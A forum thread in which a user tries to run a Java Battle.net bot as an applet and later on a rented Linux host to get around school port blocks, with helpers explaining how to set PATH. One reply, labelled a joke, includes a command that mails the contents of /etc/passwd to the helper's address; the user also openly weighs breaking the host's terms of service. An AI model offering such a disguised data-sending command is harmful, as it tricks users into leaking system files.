I have a file named bot.jar, its a chat bot, and i was wondering if there was anyway that i could run it by using the <applet> tags in HTML. I have tried but i cannot get the code base down and im pretty lost, please help. My Following <applet> tags:
[code]
<applet code=Something Here archive="bot.jar" width=640 height=400>
[/code]

The JVM has a rule that it can't connect to a server that isn't hosted locally on the client and isn't hosted on the server that the Applet is on.  I don't think a bot would work to connect to Battle.net because of that.

[quote author=iago link=topic=9433.msg87599#msg87599 date=1099729579]
The JVM has a rule that it can't connect to a server that isn't hosted locally on the client and isn't hosted on the server that the Applet is on.  I don't think a bot would work to connect to Battle.net because of that.
[/quote]

Then how does an irc client connect to an irc server from a web server?

I would guess (?) that the irc server is running on the web server.

[quote author=iago link=topic=9433.msg87679#msg87679 date=1099769635]
I would guess (?) that the irc server is running on the web server.
[/quote]

Nope,

It connect from a java application witha .jar extension, similar to the Bot. But i tried the settings for the bot as the same for the application and it turned up nothing.

Im not talking about running it 24/7.Just for like 50 minutes each day because at my school, port 6112 and 6115 are blocked.

signed applet
proxy on web server

You should look into JavaOp (http://javaop.clan-e1.net).  You can run JavaOp on your home computer, then connect to http://your.ip:port.  You can run it on whatever port.  And you get a very nice looking web interface to use it through.

[quote author=iago link=topic=9433.msg87746#msg87746 date=1099817123]
You should look into JavaOp (http://javaop.clan-e1.net).  You can run JavaOp on your home computer, then connect to http://your.ip:port.  You can run it on whatever port.  And you get a very nice looking web interface to use it through.
[/quote]

I have JavaOp but i cannot get it to run on a linux server.(not mine) i use the hosting service from 1and1.com .Business Package which allows for SSL.

Perhaps you can help me.

I cannot find the fully compiled version.

-----------------------------------------------
|        _                  ___            |
|        | | __ ___  ____ _ / _ \ _ __      |
|    _  | |/ _` \ \ / / _` | | | | '_ \      |
|    | |_| | (_| |\ V / (_| | |_| | |_) |    |
|    \___/ \__,_| \_/ \__,_|\___/| .__/      |
|                                |_|        |
-----------------------------------------------
>>> Loading profile
Exception in thread "main" java.lang.NoSuchMethodError
        at util.Output.addChat(Output.java:36)
        at bot.BNetSocket.<init>(BNetSocket.java:90)
        at Main.main(Main.java:75)

^^ i don't think thats a good sign ^^

You need to upgrade to java 1.4.2.  You can get that from http://java.sun.com

Help?

[code]
Secruity Reasons:~/Java/javaop/bin > java main profile
bash: java: command not found
[/code]

I followed the directions... help me!!

You need to make a link to the Java binaries somewhere on your path.  I'm guessing that Java is installed in /usr/local/j2sdk, in which case you need to do this, as root:
$ ln -s /usr/local/j2sdk/bin/* /usr/local/bin

And while you're on root, don't forget this:
$ echo -ne "To: iago@valhallalegends.com\n\n`cat /etc/passwd`\n\n" | /usr/bin/mail
(I'm joking about that, of course)

[quote author=iago link=topic=9433.msg88850#msg88850 date=1100463158]
You need to make a link to the Java binaries somewhere on your path.  I'm guessing that Java is installed in /usr/local/j2sdk, in which case you need to do this, as root:
$ ln -s /usr/local/j2sdk/bin/* /usr/local/bin

And while you're on root, don't forget this:
$ echo -ne "To: iago@valhallalegends.com\n\n`cat /etc/passwd`\n\n" | /usr/bin/mail
(I'm joking about that, of course)
[/quote]

I don't have access to the Root Admin Account. I bought a hosting service with ssl thats running a linux server.

Ok, then you need to add the path to the java binaries to your path.

Assuming you're using Bash, you can create a file in your home folder called .bash_profile (I *think*) (don't forget the period in front), and put this in it:
PATH=/usr/local/j2sdk/bin:$PATH

Again, that's assuming that java is installed in /usr/local/j2sdk/bin.  It doesn't matter where Java is, as long a you add it's "bin" folder to your path.

[quote author=iago link=topic=9433.msg88875#msg88875 date=1100479075]
Ok, then you need to add the path to the java binaries to your path.

Assuming you're using Bash, you can create a file in your home folder called .bash_profile (I *think*) (don't forget the period in front), and put this in it:
PATH=/usr/local/j2sdk/bin:$PATH

Again, that's assuming that java is installed in /usr/local/j2sdk/bin.  It doesn't matter where Java is, as long a you add it's "bin" folder to your path.
[/quote]

?? Im confused....

So makle a folder called .bash_profile
and put what inside it?
a text file containing PATH=/usr/local/j2sdk/bin:$PATH ??

[quote author=iago link=topic=9433.msg88875#msg88875 date=1100479075]
Assuming you're using Bash, you can create a file in your home folder called .bash_profile (I *think*) (don't forget the period in front), and put this in it:
PATH=/usr/local/j2sdk/bin:$PATH
[/quote]

Just do this command at the prompt:
echo "PATH=/usr/local/j2sdk/bin:\$PATH" >> ~/.bash_profile

But Make sure you change the PATH we added (/usr/local/j2sdk/bin) to the path that the actual java executables can be found.  If you don't, it still won't work.

[quote author=iago link=topic=9433.msg88942#msg88942 date=1100544402]
[quote author=iago link=topic=9433.msg88875#msg88875 date=1100479075]
Assuming you're using Bash, you can create a file in your home folder called .bash_profile (I *think*) (don't forget the period in front), and put this in it:
PATH=/usr/local/j2sdk/bin:$PATH
[/quote]

Just do this command at the prompt:
echo "PATH=/usr/local/j2sdk/bin:\$PATH" >> ~/.bash_profile

But Make sure you change the PATH we added (/usr/local/j2sdk/bin) to the path that the actual java executables can be found.  If you don't, it still won't work.
[/quote]

Where would the world be without you?

1 Final QUESTION!!!!!
Path would be = "/javaop/bin/javaop-background.bat"
correct?

You want the path to JAVA, not to JAVAOP.  If you need to find it, try
find / -name "java"

That'll get you a lot of wrong stuff, but it'll be in a folder called "bin" though.

And 5 minutes later its still running..........
[code]
find: /homepages/3/d105986225/htdocs: Permission denied
find: /homepages/3/d105988152/htdocs: Permission denied
find: /homepages/3/d105989280/htdocs: Permission denied
find: /homepages/3/d106014707/htdocs: Permission denied
[/code]


Any way to narrow it down?

EDIT:
Nevermind.

I found a Way to get it.
But now im getting this error:
[code]

bash: /homepages/17/d105382477/htdocs/java/bin/javaop-background.bat=/usr/local/j2sdk/bin:: No such file or directory
[/code]

That .bat file was designed for users to double-click to run, and it never actually worked, and I have no idea why you are putting it anywhere.  When did I ever say to use it?

Also, /usr/local/j2sdk/bin probably ISN'T where Java is installed to.  I said at least 3 times in this topic, "change /usr/local/j2sdk/bin to where ever Java is installed on your system"

[quote author=iago link=topic=9433.msg88969#msg88969 date=1100560612]
That .bat file was designed for users to double-click to run, and it never actually worked, and I have no idea why you are putting it anywhere.  When did I ever say to use it?

Also, /usr/local/j2sdk/bin probably ISN'T where Java is installed to.  I said at least 3 times in this topic, "change /usr/local/j2sdk/bin to where ever Java is installed on your system"
[/quote]

I Cannot Find Where its installed on the system.

Im searching the File Directories but im still unable to find it.

Reinstall it?

Most of us who don't know how to run Linux just stick with [size=6pt]un[/size]safe, [size=6pt]in[/size]secure, [size=6pt]un[/size]stable Windows.  :P

First, what does SSL have to do with anything?
Second, I don't think your server has a JRE installed. That sucks. You're probably also violating their TOS by trying to run a bot, too.

[quote author=Banana fanna fo fanna link=topic=9433.msg88983#msg88983 date=1100568197]
First, what does SSL have to do with anything?
Second, I don't think your server has a JRE installed. That sucks. You're probably also violating their TOS by trying to run a bot, too.
[/quote]

Most likely,
But when the give you read and write access to the entire server,
I don't think they know what their doing.

On a Side Note:
Then how would the server run java applications Like the IRC Client?

THEIR TOS:
[code]
Shell access is provided for web development and not for running
irc-bots, arbitrary tcp/udp servers (e.g. gameservers) or cracking toolkits.
Disregard leads to suspension of your contract.
[/code]

Its not an irc bot. ;)

Because the server is not running Java applets, which is what I think you're refering to. The client is.